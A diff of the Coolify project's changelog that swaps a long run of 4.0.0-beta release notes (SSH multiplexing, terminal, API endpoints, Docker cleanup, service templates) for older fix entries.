in parseCommandsByLineForSudo -- Improve popup component styling and button behavior -- Encode delimiter in SshMultiplexingHelper -- Remove inactivity timer in terminal-server.js -- Improve socket reconnection interval in terminal.js -- Remove unnecessary watch command from soketi service entrypoint - -### ⚙️ Miscellaneous Tasks - -- Update version numbers to 4.0.0-beta.350 in configuration files -- Update command signature and description for cleanup application deployment queue -- Add missing import for Attribute class in ApplicationDeploymentQueue model -- Update modal input in server form to prevent closing on outside click -- Remove unnecessary command from SshMultiplexingHelper -- Remove commented out code for uploading to S3 in DatabaseBackupJob -- Update soketi service image to version 1.0.3 - -## [4.0.0-beta.348] - 2024-10-01 - -### 🚀 Features - -- Update resource deletion job to allow configurable options through API -- Add query parameters for deleting configurations, volumes, docker cleanup, and connected networks - -### 🐛 Bug Fixes - -- In dev mode do not ask confirmation on delete -- Mixpost -- Handle deletion of 'hello' in confirmation modal for dev environment - -### 💼 Other - -- Server storage check - -### 🚜 Refactor - -- Update search input placeholder in resource index view - -### ⚙️ Miscellaneous Tasks - -- Fix docs link in running state -- Update Coolify Realtime workflow to only trigger on the main branch -- Refactor instanceSettings() function to improve code readability -- Update Coolify Realtime image to version 1.0.2 -- Remove unnecessary code in DatabaseBackupJob.php -- Add "Not Usable" indicator for storage items -- Refactor instanceSettings() function and improve code readability -- Update version numbers to 4.0.0-beta.349 and 4.0.0-beta.350 - -## [4.0.0-beta.347] - 2024-09-28 - -### 🚀 Features - -- Allow specify use_build_server when creating/updating an application -- Add support for `use_build_server` in API endpoints for creating/updating applications -- Add Mixpost template - -### 🐛 Bug Fixes - -- Filebrowser template -- Edit is_build_server_enabled upon creating application on other application type -- Save settings after assigning value - -### 💼 Other - -- Remove memlock as it caused problems for some users - -### ⚙️ Miscellaneous Tasks - -- Update Mailpit logo to use SVG format - -## [4.0.0-beta.346] - 2024-09-27 - -### 🚀 Features - -- Add ContainerStatusTypes enum for managing container status - -### 🐛 Bug Fixes - -- Proxy fixes -- Proxy -- *(templates)* Filebrowser FQDN env variable -- Handle edge case when build variables and env variables are in different format -- Compose based terminal - -### 💼 Other - -- Manual cleanup button and unused volumes and network deletion -- Force helper image removal -- Use the new confirmation flow +- Package.json +- Build secrets should be visible in runtime +- New secret should have default values +- Validate secrets +- Truncate git clone errors +- Branch used does not throw error - Typo -- Typo in install script -- If API is disabeled do not show API token creation stuff -- Disable API by default -- Add debug bar - -### 🚜 Refactor - -- Update environment variable name for uptime-kuma service -- Improve start proxy script to handle existing containers gracefully -- Update delete server confirmation modal buttons -- Remove unnecessary code - -### ⚙️ Miscellaneous Tasks - -- Add autocomplete attribute to input fields -- Refactor API Tokens component to use isApiEnabled flag -- Update versions.json file -- Remove unused .env.development.example file -- Update API Tokens view to include link to Settings menu -- Update web.php to cast server port as integer -- Update backup deletion labels to use language files -- Update database startup heading title -- Update database startup heading title -- Custom vite envs -- Update version numbers to 4.0.0-beta.348 -- Refactor code to improve SSH key handling and storage - -## [4.0.0-beta.343] - 2024-09-25 - -### 🐛 Bug Fixes - -- Parser -- Exited services statuses -- Make sure to reload window if app status changes -- Deploy key based deployments - -### 🚜 Refactor - -- Remove commented out code and improve environment variable handling in newParser function -- Improve label positioning in input and checkbox components -- Group and sort fields in StackForm by service name and password status -- Improve layout and add checkbox for task enablement in scheduled task form -- Update checkbox component to support full width option -- Update confirmation label in danger.blade.php template -- Fix typo in execute-container-command.blade.php -- Update OS_TYPE for Asahi Linux in install.sh script -- Add localhost as Server if it doesn't exist and not in cloud environment -- Add localhost as Server if it doesn't exist and not in cloud environment -- Update ProductionSeeder to fix issue with coolify_key assignment -- Improve modal confirmation titles and button labels -- Update install.sh script to remove redirection of upgrade output to /dev/null -- Fix modal input closeOutside prop in configuration.blade.php -- Add support for IPv6 addresses in sslip function - -### ⚙️ Miscellaneous Tasks - -- Update version numbers to 4.0.0-beta.343 -- Update version numbers to 4.0.0-beta.344 -- Update version numbers to 4.0.0-beta.345 -- Update version numbers to 4.0.0-beta.346 - -## [4.0.0-beta.342] - 2024-09-24 - -### 🚀 Features - -- Add nullable constraint to 'fingerprint' column in private_keys table -- *(api)* Add an endpoint to execute a command -- *(api)* Add endpoint to execute a command - -### 🐛 Bug Fixes - -- Proxy status -- Coolify-db should not be in the managed resources -- Store original root key in the original location -- Logto service -- Cloudflared service -- Migrations -- Cloudflare tunnel configuration, ui, etc - -### 💼 Other - -- Volumes on development environment -- Clean new volume name for dev volumes -- Persist DBs, services and so on stored in data/coolify -- Add SSH Key fingerprint to DB -- Add a fingerprint to every private key on save, create... -- Make sure invalid private keys can not be added -- Encrypt private SSH keys in the DB -- Add is_sftp and is_server_ssh_key coloums -- New ssh key file name on disk -- Store all keys on disk by default -- Populate SSH key folder -- Populate SSH keys in dev -- Use new function names and logic everywhere -- Create a Multiplexing Helper -- SSH multiplexing -- Remove unused code form multiplexing -- SSH Key cleanup job -- Private key with ID 2 on dev -- Move more functions to the PrivateKey Model -- Add ssh key fingerprint and generate one for existing keys -- ID issues on dev seeders -- Server ID 0 -- Make sure in use private keys are not deleted -- Do not delete SSH Key from disk during server validation error -- UI bug, do not write ssh key to disk in server dialog -- SSH Multiplexing for Jobs -- SSH algorhytm text -- Few multiplexing things -- Clear mux directory -- Multiplexing do not write file manually -- Integrate tow step process in the modal component WIP -- Ability to hide labels -- DB start, stop confirm -- Del init script -- General confirm -- Preview deployments and typos -- Service confirmation -- Confirm file storage -- Stop service confirm -- DB image cleanup -- Confirm ressource operation -- Environment variabel deletion -- Confirm scheduled tasks -- Confirm API token -- Confirm private key -- Confirm server deletion -- Confirm server settings -- Proxy stop and restart confirmation -- GH app deletion confirmation -- Redeploy all confirmation -- User deletion confirmation -- Team deletion confirmation -- Backup job confirmation -- Delete volume confirmation -- More conformations and fixes -- Delete unused private keys button -- Ray error because port is not uncommented -- #3322 deploy DB alterations before updating -- Css issue with advanced settings and remove cf tunnel in onboarding -- New cf tunnel install flow -- Made help text more clear -- Cloudflare tunnel -- Make helper text more clean to use a FQDN and not an URL - -### 🚜 Refactor - -- Update Docker cleanup label in Heading.php and Navbar.php -- Remove commented out code in Navbar.php -- Remove CleanupSshKeysJob from schedule in Kernel.php -- Update getAJoke function to exclude offensive jokes -- Update getAJoke function to use HTTPS for API request -- Update CleanupHelperContainersJob to use more efficient Docker command -- Update PrivateKey model to improve code readability and maintainability -- Remove unnecessary code in PrivateKey model -- Update PrivateKey model to use ownedByCurrentTeam() scope for cleanupUnusedKeys() -- Update install.sh script to check if coolify-db volume exists before generating SSH key -- Update ServerSeeder and PopulateSshKeysDirectorySeeder -- Improve attribute sanitization in Server model -- Update confirmation button text for deletion actions -- Remove unnecessary code in shared.php file -- Update environment variables for services in compose files -- Update select.blade.php to improve trademarks policy display -- Update select.blade.php to improve trademarks policy display -- Fix typo in subscription URLs -- Add Postiz service to compose file (disabled for now) -- Update shared.php to include predefined ports for services -- Simplify SSH key synchronization logic -- Remove unused code in DatabaseBackupStatusJob and PopulateSshKeysDirectorySeeder - -### ⚙️ Miscellaneous Tasks - -- Update version numbers to 4.0.0-beta.342 -- Update remove-labels-and-assignees-on-close.yml -- Add SSH key for localhost in ProductionSeeder -- Update SSH key generation in install.sh script -- Update ProductionSeeder to call OauthSettingSeeder and PopulateSshKeysDirectorySeeder -- Update install.sh to support Asahi Linux -- Update install.sh version to 1.6 -- Remove unused middleware and uniqueId method in DockerCleanupJob -- Refactor DockerCleanupJob to remove unused middleware and uniqueId method -- Remove unused migration file for populating SSH keys and clearing mux directory -- Add modified files to the commit -- Refactor pre-commit hook to improve performance and readability -- Update CONTRIBUTING.md with troubleshooting note about database migrations -- Refactor pre-commit hook to improve performance and readability -- Update cleanup command to use Redis instead of queue -- Update Docker commands to start proxy - -## [4.0.0-beta.341] - 2024-09-18 - -### 🚀 Features - -- Add buddy logo - -## [4.0.0-beta.336] - 2024-09-16 - -### 🚀 Features - -- Make coolify full width by default -- Fully functional terminal for command center -- Custom terminal host - -### 🐛 Bug Fixes - -- Keep-alive ws connections -- Add build.sh to debug logs -- Update Coolify installer -- Terminal -- Generate https for minio -- Install script -- Handle WebSocket connection close in terminal.blade.php -- Able to open terminal to any containers -- Refactor run-command -- If you exit a container manually, it should close the underlying tty as well -- Move terminal to separate view on services -- Only update helper image in DB -- Generated fqdn for SERVICE_FQDN_APP_3000 magic envs - -### 💼 Other - -- Remove labels and assignees on issue close -- Make sure this action is also triggered on PR issue close - -### 🚜 Refactor - -- Remove unnecessary code in ExecuteContainerCommand.php -- Improve Docker network connection command in StartService.php -- Terminal / run command -- Add authorization check in ExecuteContainerCommand mount method -- Remove unnecessary code in Terminal.php -- Remove unnecessary code in Terminal.blade.php -- Update WebSocket connection initialization in terminal.blade.php -- Remove unnecessary console.log statements in terminal.blade.php - -### ⚙️ Miscellaneous Tasks - -- Update release version to 4.0.0-beta.336 -- Update coolify environment variable assignment with double quotes -- Update shared.php to fix issues with source and network variables -- Update terminal styling for better readability -- Update button text for container connection form -- Update Dockerfile and workflow for Coolify Realtime (v4) -- Remove unused entrypoint script and update volume mapping -- Update .env file and docker-compose configuration -- Update APP_NAME environment variable in docker-compose.prod.yml -- Update WebSocket URL in terminal.blade.php -- Update Dockerfile and workflow for Coolify Realtime (v4) -- Update Dockerfile and workflow for Coolify Realtime (v4) -- Update Dockerfile and workflow for Coolify Realtime (v4) -- Rename Command Center to Terminal in code and views -- Update branch restriction for push event in coolify-helper.yml -- Update terminal button text and layout in application heading view -- Refactor terminal component and select form layout -- Update coolify nightly version to 4.0.0-beta.335 -- Update helper version to 1.0.1 -- Fix syntax error in versions.json -- Update version numbers to 4.0.0-beta.337 -- Update Coolify installer and scripts to include a function for fetching programming jokes -- Update docker network connection command in ApplicationDeploymentJob.php -- Add validation to prevent selecting 'default' server or container in RunCommand.php -- Update versions.json to reflect latest version of realtime container -- Update soketi image to version 1.0.1 -- Nightly - Update soketi image to version 1.0.1 and versions.json to reflect latest version of realtime container -- Update version numbers to 4.0.0-beta.339 -- Update version numbers to 4.0.0-beta.340 -- Update version numbers to 4.0.0-beta.341 - -### ◀️ Revert - -- Databasebackup - -## [4.0.0-beta.335] - 2024-09-12 - -### 🐛 Bug Fixes - -- Cloudflare tunnel with new multiplexing feature - -### 💼 Other - -- SSH Multiplexing on docker desktop on Windows - -### ⚙️ Miscellaneous Tasks - -- Update release version to 4.0.0-beta.335 -- Update constants.ssh.mux_enabled in remoteProcess.php -- Update listeners and proxy settings in server form and new server components -- Remove unnecessary null check for proxy_type in generate_default_proxy_configuration -- Remove unnecessary SSH command execution time logging - -## [4.0.0-beta.334] - 2024-09-12 - -### ⚙️ Miscellaneous Tasks - -- Remove itsgoingd/clockwork from require-dev in composer.json -- Update 'key' value of gitlab in Service.php to use environment variable - -## [4.0.0-beta.333] - 2024-09-11 - -### 🐛 Bug Fixes - -- Disable mux_enabled during server validation -- Move mc command to coolify image from helper -- Keydb. add `:` delimiter for connection string - -### 💼 Other - -- Remote servers with port and user -- Do not change localhost server name on revalidation -- Release.md file - -### 🚜 Refactor - -- Improve handling of environment variable merging in upgrade script - -### ⚙️ Miscellaneous Tasks - -- Update version numbers to 4.0.0-beta.333 -- Copy .env file to .env-{DATE} if it exists -- Update .env file with new values -- Update server check job middleware to use server ID instead of UUID -- Add reminder to backup .env file before running install script again -- Copy .env file to backup location during installation script -- Add reminder to backup .env file during installation script -- Update permissions in pr-build.yml and version numbers -- Add minio/mc command to Dockerfile - -## [4.0.0-beta.332] - 2024-09-10 - -### 🚀 Features - -- Expose project description in API response -- Add elixir finetunes to the deployment job - -### 🐛 Bug Fixes - -- Reenable overlapping servercheckjob -- Appwrite template + parser -- Don't add `networks` key if `network_mode` is used -- Remove debug statement in shared.php -- Scp through cloudflare -- Delete older versions of the helper image other than the latest one -- Update remoteProcess.php to handle null values in logItem properties - -### 💼 Other - -- Set a default server timezone -- Implement SSH Multiplexing -- Enabel mux -- Cleanup stale multiplexing connections - -### 🚜 Refactor - -- Improve environment variable handling in shared.php - -### ⚙️ Miscellaneous Tasks - -- Set timeout for ServerCheckJob to 60 seconds -- Update appwrite.yaml to include OpenSSL key variable assignment - -## [4.0.0-beta.330] - 2024-09-06 - -### 🐛 Bug Fixes - -- Parser -- Plunk NEXT_PUBLIC_API_URI - -### 💼 Other - -- Pull helper image if not available otherwise s3 backup upload fails - -### 🚜 Refactor - -- Improve handling of server timezones in scheduled backups and tasks -- Improve handling of server timezones in scheduled backups and tasks -- Improve handling of server timezones in scheduled backups and tasks -- Update cleanup schedule to run daily at midnight -- Skip returning volume if driver type is cifs or nfs - -### ⚙️ Miscellaneous Tasks - -- Update coolify-helper.yml to get version from versions.json -- Disable Ray by default -- Enable Ray by default and update Dockerfile with latest versions of PACK and NIXPACKS -- Update Ray configuration and Dockerfile -- Add middleware for updating environment variables by UUID in `api.php` routes -- Expose port 3000 in browserless.yaml template -- Update Ray configuration and Dockerfile -- Update coolify version to 4.0.0-beta.331 -- Update versions.json and sentry.php to 4.0.0-beta.332 -- Update version to 4.0.0-beta.332 -- Update DATABASE_URL in plunk.yaml to use plunk database -- Add coolify.managed=true label to Docker image builds -- Update docker image pruning command to exclude managed images -- Update docker cleanup schedule to run daily at midnight -- Update versions.json to version 1.0.1 -- Update coolify-helper.yml to include "next" branch in push trigger - -## [4.0.0-beta.326] - 2024-09-03 - -### 🚀 Features - -- Update server_settings table to force docker cleanup -- Update Docker Compose file with DB_URL environment variable -- Refactor shared.php to improve environment variable handling - -### 🐛 Bug Fixes - -- Wrong executions order -- Handle project not found error in environment_details API endpoint -- Deployment running for - without "ago" -- Update helper image pulling logic to only pull if the version is newer - -### 💼 Other - -- Plunk svg - -### 📚 Documentation - -- Update Plunk documentation link in compose/plunk.yaml - -### ⚙️ Miscellaneous Tasks - -- Update UI for displaying no executions found in scheduled task list -- Update UI for displaying deployment status in deployment list -- Update UI for displaying deployment status in deployment list -- Ignore unnecessary files in production build workflow -- Update server form layout and settings -- Update Dockerfile with latest versions of PACK and NIXPACKS - -## [4.0.0-beta.324] - 2024-09-02 - -### 🚀 Features - -- Preserve git repository with advanced file storages -- Added Windmill template -- Added Budibase template -- Add shm-size for custom docker commands -- Add custom docker container options to all databases -- Able to select different postgres database -- Add new logos for jobscollider and hostinger -- Order scheduled task executions -- Add Code Server environment variables to Service model -- Add coolify build env variables to building phase -- Add new logos for GlueOps, Ubicloud, Juxtdigital, Saasykit, and Massivegrid -- Add new logos for GlueOps, Ubicloud, Juxtdigital, Saasykit, and Massivegrid - -### 🐛 Bug Fixes - -- Timezone not updated when systemd is missing -- If volumes + file mounts are defined, should merge them together in the compose file -- All mongo v4 backups should use the different backup command -- Database custom environment variables -- Connect compose apps to the right predefined network -- Docker compose destination network -- Server status when there are multiple servers -- Sync fqdn change on the UI -- Pr build names in case custom name is used -- Application patch request instant_deploy -- Canceling deployment on build server -- Backup of password protected postgresql database -- Docker cleanup job -- Storages with preserved git repository -- Parser parser parser -- New parser only in dev -- Parser parser -- Numberoflines should be number -- Docker cleanup job -- Fix directory and file mount headings in file-storage.blade.php -- Preview fqdn generation -- Revert a few lines -- Service ui sync bug -- Setup script doesn't work on rhel based images with some curl variant already installed -- Let's wait for healthy container during installation and wait an extra 20 seconds (for migrations) -- Infra files -- Log drain only for Applications -- Copy large compose files through scp (not ssh) -- Check if array is associative or not -- Openapi endpoint urls -- Convert environment variables to one format in shared.php -- Logical volumes could be overwritten with new path -- Env variable in value parsed -- Pull coolify image only when the app needs to be updated - -### 💼 Other - -- Actually update timezone on the server -- Cron jobs are executed based on the server timezone -- Server timezone seeder -- Recent backups UI -- Use apt-get instead of apt +- Error handling +- Stopping service without proxy +- Coolify proxy start +- Window error in SSR +- GitHub sync PR's +- Load more button +- Small fixes - Typo -- Only pull helper image if the version is newer than the one - -### 🚜 Refactor - -- Update event listeners in Show components -- Refresh application to get latest database changes -- Update RabbitMQ configuration to use environment variable for port -- Remove debug statement in parseDockerComposeFile function -- ParseServiceVolumes -- Update OpenApi command to generate documentation -- Remove unnecessary server status check in destination view -- Remove unnecessary admin user email and password in budibase.yaml -- Improve saving of custom internal name in Advanced.php -- Add conditional check for volumes in generate_compose_file() -- Improve storage mount forms in add.blade.php -- Load environment variables based on resource type in sortEnvironmentVariables() -- Remove unnecessary network cleanup in Init.php -- Remove unnecessary environment variable checks in parseDockerComposeFile() -- Add null check for docker_compose_raw in parseCompose() -- Update dockerComposeParser to use YAML data from $yaml instead of $compose -- Convert service variables to key-value pairs in parseDockerComposeFile function -- Update database service name from mariadb to mysql -- Remove unnecessary code in DatabaseBackupJob and BackupExecutions -- Update Docker Compose parsing function to convert service variables to key-value pairs -- Update Docker Compose parsing function to convert service variables to key-value pairs -- Remove unused server timezone seeder and related code -- Remove unused server timezone seeder and related code -- Remove unused PullCoolifyImageJob from schedule -- Update parse method in Advanced, All, ApplicationPreview, General, and ApplicationDeploymentJob classes -- Remove commented out code for getIptables() in Dashboard.php -- Update .env file path in install.sh script -- Update SELF_HOSTED environment variable in docker-compose.prod.yml -- Remove unnecessary code for creating coolify network in upgrade.sh -- Update environment variable handling in StartClickhouse.php and ApplicationDeploymentJob.php -- Improve handling of COOLIFY_URL in shared.php -- Update build_args property type in ApplicationDeploymentJob -- Update background color of sponsor section in README.md -- Update Docker Compose location handling in PublicGitRepository -- Upgrade process of Coolify - -### 🧪 Testing - -- More tests - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.324 -- New compose parser with tests -- Update version to 1.3.4 in install.sh and 1.0.6 in upgrade.sh -- Update memory limit to 64MB in horizon configuration -- Update php packages -- Update axios npm dependency to version 1.7.5 -- Update Coolify version to 4.0.0-beta.324 and fix file paths in upgrade script -- Update Coolify version to 4.0.0-beta.324 -- Update Coolify version to 4.0.0-beta.325 -- Update Coolify version to 4.0.0-beta.326 -- Add cd command to change directory before removing .env file -- Update Coolify version to 4.0.0-beta.327 -- Update Coolify version to 4.0.0-beta.328 -- Update sponsor links in README.md -- Update version.json to versions.json in GitHub workflow -- Cleanup stucked resources and scheduled backups -- Update GitHub workflow to use versions.json instead of version.json -- Update GitHub workflow to use versions.json instead of version.json -- Update GitHub workflow to use versions.json instead of version.json -- Update GitHub workflow to use jq container for version extraction -- Update GitHub workflow to use jq container for version extraction - -## [4.0.0-beta.323] - 2024-08-08 - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.323 - -## [4.0.0-beta.322] - 2024-08-08 - -### 🐛 Bug Fixes - -- Manual update process - -### 🚜 Refactor - -- Update Server model getContainers method to use collect() for containers and containerReplicates -- Import ProxyTypes enum and use TRAEFIK instead of TRAEFIK_V2 - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.322 - -## [4.0.0-beta.321] - 2024-08-08 - -### 🐛 Bug Fixes - -- Scheduledbackup not found - -### 🚜 Refactor - -- Update StandalonePostgresql database initialization and backup handling -- Update cron expressions and add helper text for scheduled tasks - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.321 - -## [4.0.0-beta.320] - 2024-08-08 - -### 🚀 Features - -- Delete team in cloud without subscription -- Coolify init should cleanup stuck networks in proxy -- Add manual update check functionality to settings page -- Update auto update and update check frequencies in settings -- Update Upgrade component to check for latest version of Coolify -- Improve homepage service template -- Support map fields in Directus -- Labels by proxy type -- Able to generate only the required labels for resources - -### 🐛 Bug Fixes - -- Only append docker network if service/app is running -- Remove lazy load from scheduled tasks -- Plausible template -- Service_url should not have a trailing slash -- If usagebefore cannot be determined, cleanup docker with force -- Async remote command -- Only run logdrain if necessary -- Remove network if it is only connected to coolify proxy itself -- Dir mounts should have proper dirs -- File storages (dir/file mount) handled properly -- Do not use port exposes on docker compose buildpacks -- Minecraft server template fixed -- Graceful shutdown -- Stop resources gracefully -- Handle null and empty disk usage in DockerCleanupJob -- Show latest version on manual update view -- Empty string content should be saved as a file -- Update Traefik labels on init -- Add missing middleware for server check job - -### 🚜 Refactor - -- Update CleanupDatabase.php to adjust keep_days based on environment -- Adjust keep_days in CleanupDatabase.php based on environment -- Remove commented out code for cleaning up networks in CleanupDocker.php -- Update livewire polling interval in heading.blade.php -- Remove unused code for checking server status in Heading.php -- Simplify log drain installation in ServerCheckJob -- Remove unnecessary debug statement in ServerCheckJob -- Simplify log drain installation and stop log drain if necessary -- Cleanup unnecessary dynamic proxy configuration in Init command -- Remove unnecessary debug statement in ApplicationDeploymentJob -- Update timeout for graceful_shutdown_container in ApplicationDeploymentJob -- Remove unused code and optimize CheckForUpdatesJob -- Update ProxyTypes enum values to use TRAEFIK instead of TRAEFIK_V2 -- Update Traefik labels on init and cleanup unnecessary dynamic proxy configuration - -### 🎨 Styling - -- Linting - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.320 -- Add pull_request image builds to GH actions -- Add comment explaining the purpose of disconnecting the network in cleanup_unused_network_from_coolify_proxy() -- Update formbricks template -- Update registration view to display a notice for first user that it will be an admin -- Update server form to use password input for IP Address/Domain field -- Update navbar to include service status check -- Update navbar and configuration to improve service status check functionality -- Update workflows to include PR build and merge manifest steps -- Update UpdateCoolifyJob timeout to 10 minutes -- Update UpdateCoolifyJob to dispatch CheckForUpdatesJob synchronously - -## [4.0.0-beta.319] - 2024-07-26 - -### 🐛 Bug Fixes - -- Parse docker composer -- Service env parsing -- Service env variables -- Activity type invalid -- Update env on ui - -### 💼 Other - -- Service env parsing - -### ⚙️ Miscellaneous Tasks - -- Collect/create/update volumes in parseDockerComposeFile function - -## [4.0.0-beta.318] - 2024-07-24 - -### 🚀 Features - -- Create/delete project endpoints -- Add patch request to projects -- Add server api endpoints -- Add branddev logo to README.md -- Update API endpoint summaries -- Update Caddy button label in proxy.blade.php -- Check custom internal name through server's applications. -- New server check job - -### 🐛 Bug Fixes - -- Preview deployments should be stopped properly via gh webhook -- Deleting application should delete preview deployments -- Plane service images -- Fix issue with deployment start command in ApplicationDeploymentJob -- Directory will be created by default for compose host mounts -- Restart proxy does not work + status indicator on the UI -- Uuid in api docs type -- Raw compose deployment .env not found -- Api -> application patch endpoint -- Remove pull always when uploading backup to s3 -- Handle array env vars -- Link in task failed job notifications -- Random generated uuid will be full length (not 7 characters) -- Gitlab service -- Gitlab logo -- Bitbucket repository url -- By default volumes that we cannot determine if they are directories or files are treated as directories -- Domain update on services on the UI -- Update SERVICE_FQDN/URL env variables when you change the domain -- Several shared environment variables in one value, parsed correctly -- Members of root team should not see instance admin stuff - -### 💼 Other - -- Formbricks template add required CRON_SECRET -- Add required CRON_SECRET to Formbricks template - -### ⚙️ Miscellaneous Tasks - -- Update APP_BASE_URL to use SERVICE_FQDN_PLANE -- Update resource-limits.blade.php with improved input field helpers -- Update version numbers to 4.0.0-beta.319 -- Remove commented out code for docker image pruning - -## [4.0.0-beta.314] - 2024-07-15 - -### 🚀 Features - -- Improve error handling in loadComposeFile method -- Add readonly labels -- Preserve git repository -- Force cleanup server - -### 🐛 Bug Fixes - -- Typo in is_literal helper -- Env is_literal helper text typo -- Update docker compose pull command with --policy always -- Plane service template -- Vikunja -- Docmost template -- Drupal -- Improve github source creation -- Tag deployments -- New docker compose parsing -- Handle / in preselecting branches -- Handle custom_internal_name check in ApplicationDeploymentJob.php -- If git limit reached, ignore it and continue with a default selection -- Backup downloads -- Missing input for api endpoint -- Volume detection (dir or file) is fixed -- Supabase -- Create file storage even if content is empty - -### 💼 Other - -- Add basedir + compose file in new compose based apps - -### 🚜 Refactor - -- Remove unused code and fix storage form layout -- Update Docker Compose build command to include --pull flag -- Update DockerCleanupJob to handle nullable usageBefore property -- Server status job and docker cleanup job -- Update DockerCleanupJob to use server settings for force cleanup -- Update DockerCleanupJob to use server settings for force cleanup -- Disable health check for Rust applications during deployment - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.315 -- Update version to 4.0.0-beta.316 -- Update bug report template -- Update repository form with simplified URL input field -- Update width of container in general.blade.php -- Update checkbox labels in general.blade.php -- Update general page of apps -- Handle JSON parsing errors in format_docker_command_output_to_json -- Update Traefik image version to v2.11 -- Update version to 4.0.0-beta.317 -- Update version to 4.0.0-beta.318 -- Update helper message with link to documentation -- Disable health check by default -- Remove commented out code for sending internal notification - -### ◀️ Revert - -- Pull policy -- Advanced dropdown - -## [4.0.0-beta.308] - 2024-07-11 - -### 🚀 Features - -- Cleanup unused docker networks from proxy -- Compose parser v2 -- Display time interval for rollback images -- Add security and storage access key env to twenty template -- Add new logo for Latitude -- Enable legacy model binding in Livewire configuration - -### 🐛 Bug Fixes - -- Do not overwrite hardcoded variables if they rely on another variable -- Remove networks when deleting a docker compose based app -- Api -- Always set project name during app deployments -- Remove volumes as well -- Gitea pr previews -- Prevent instance fqdn persisting to other servers dynamic proxy configs -- Better volume cleanups -- Cleanup parameter -- Update redirect URL in unauthenticated exception handler -- Respect top-level configs and secrets -- Service status changed event -- Disable sentinel until a few bugs are fixed -- Service domains and envs are properly updated -- *(reactive-resume)* New healthcheck command for MinIO -- *(MinIO)* New command healthcheck -- Update minio hc in services -- Add validation for missing docker compose file - -### 🚜 Refactor - -- Add force parameter to StartProxy handle method -- Comment out unused code for network cleanup -- Reset default labels when docker_compose_domains is modified -- Webhooks view -- Tags view -- Only get instanceSettings once from db -- Update Dockerfile to set CI environment variable to true -- Remove unnecessary code in AppServiceProvider.php -- Update Livewire configuration views -- Update Webhooks.php to use nullable type for webhook URLs -- Add lazy loading to tags in Livewire configuration view -- Update metrics.blade.php to improve alert message clarity -- Update version numbers to 4.0.0-beta.312 -- Update version numbers to 4.0.0-beta.314 - -### ⚙️ Miscellaneous Tasks - -- Update Plausible docker compose template to Plausible 2.1.0 -- Update Plausible docker compose template to Plausible 2.1.0 -- Update livewire/livewire dependency to version 3.4.9 -- Refactor checkIfDomainIsAlreadyUsed function -- Update storage.blade.php view for livewire project service -- Update version to 4.0.0-beta.310 -- Update composer dependencies -- Add new logo for Latitude -- Bump version to 4.0.0-beta.311 - -### ◀️ Revert - -- Instancesettings - -## [4.0.0-beta.301] - 2024-06-24 - -### 🚀 Features - -- Local fonts -- More API endpoints -- Bulk env update api endpoint -- Update server settings metrics history days to 7 -- New app API endpoint -- Private gh deployments through api -- Lots of api endpoints -- Api api api api api api -- Rename CloudCleanupSubs to CloudCleanupSubscriptions -- Early fraud warning webhook -- Improve internal notification message for early fraud warning webhook -- Add schema for uuid property in app update response - -### 🐛 Bug Fixes - -- Run user commands on high prio queue -- Load js locally -- Remove lemon + paddle things -- Run container commands on high priority -- Image logo -- Remove both option for api endpoints. it just makes things complicated -- Cleanup subs in cloud -- Show keydbs/dragonflies/clickhouses -- Only run cloud clean on cloud + remove root team -- Force cleanup on busy servers -- Check domain on new app via api -- Custom container name will be the container name, not just internal network name -- Api updates -- Yaml everywhere -- Add newline character to private key before saving -- Add validation for webhook endpoint selection -- Database input validators -- Remove own app from domain checks -- Return data of app update - -### 💼 Other - +- Error with follow logs +- IsDomainConfigured +- TransactionIds +- Coolify image cleanup +- Cleanup every 10 mins +- Cleanup images +- Add no user redis to uri +- Secure cookie disabled by default +- Buggy svelte-kit-cookie-session +- Login issues +- SSL app off +- Local docker host +- Typo +- Lets encrypt +- Remove SSL with stop +- SSL off for services +- Grr +- Running state css +- Minor fixes +- Remove force SSL when doing let's encrypt request +- GhToken in session now +- Random port for certbot +- Follow icon +- Plausible volume fixed +- Database connection strings +- Gitlab webhooks fixed +- If DNS not found, do not redirect +- Github token +- Move tokens from session to cookie/store +- Email is lowercased in login +- Lowercase email everywhere +- Use normal docker-compose in dev +- Random network name for demo +- Settings fqdn grr +- Revert default network +- Http for demo, oops +- Docker scanner +- Improvement on image pulls +- Coolify image pulls +- Remove wrong/stuck proxy configurations +- Always use a buildpack +- Add icons for eleventy + astro +- Fix proxy every 10 secs +- Do not remove coolify proxy +- Update version +- Be sure .env exists +- Missing fqdn for services +- Default npm command +- Add coolify-image label for build images +- Cleanup old images, > 3 days +- Better proxy check +- Ssl + sslrenew +- Null proxyhash on restart +- Reconfigure proxy on restart - Update process -- Glances service -- Glances -- Able to update application - -### 🚜 Refactor - -- Update Service model's saveComposeConfigs method -- Add default environment to Service model's saveComposeConfigs method -- Improve handling of default environment in Service model's saveComposeConfigs method -- Remove commented out code in Service model's saveComposeConfigs method -- Update stack-form.blade.php to include wire:target attribute for submit button -- Update code to use str() instead of Str::of() for string manipulation -- Improve formatting and readability of source.blade.php -- Add is_build_time property to nixpacks_php_fallback_path and nixpacks_php_root_dir -- Simplify code for retrieving subscription in Stripe webhook - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.302 -- Update version to 4.0.0-beta.303 -- Update version to 4.0.0-beta.305 -- Update version to 4.0.0-beta.306 -- Add log1x/laravel-webfonts package -- Update version to 4.0.0-beta.307 -- Refactor ServerStatusJob constructor formatting -- Update Monaco Editor for Docker Compose and Proxy Configuration -- More details -- Refactor shared.php helper functions - -## [4.0.0-beta.298] - 2024-06-24 - -### 🚀 Features - -- Spanish translation -- Cancelling a deployment will check if new could be started. -- Add supaguide logo to donations section -- Nixpacks now could reach local dbs internally -- Add Tigris logo to other/logos directory -- COOLIFY_CONTAINER_NAME predefined variable -- Charts -- Sentinel + charts -- Container metrics -- Add high priority queue -- Add metrics warning for servers without Sentinel enabled -- Add blacksmith logo to donations section -- Preselect server and destination if only one found -- More api endpoints -- Add API endpoint to update application by UUID -- Update statusnook logo filename in compose template - -### 🐛 Bug Fixes - -- Stripprefix middleware correctly labeled to http -- Bitbucket link -- Compose generator -- Do no truncate repositories wtih domain (git) in it -- In services should edit compose file for volumes and envs -- Handle laravel deployment better -- Db proxy status shown better in the UI -- Show commit message on webhooks + prs -- Metrics parsing -- Charts -- Application custom labels reset after saving -- Static build with new nixpacks build process -- 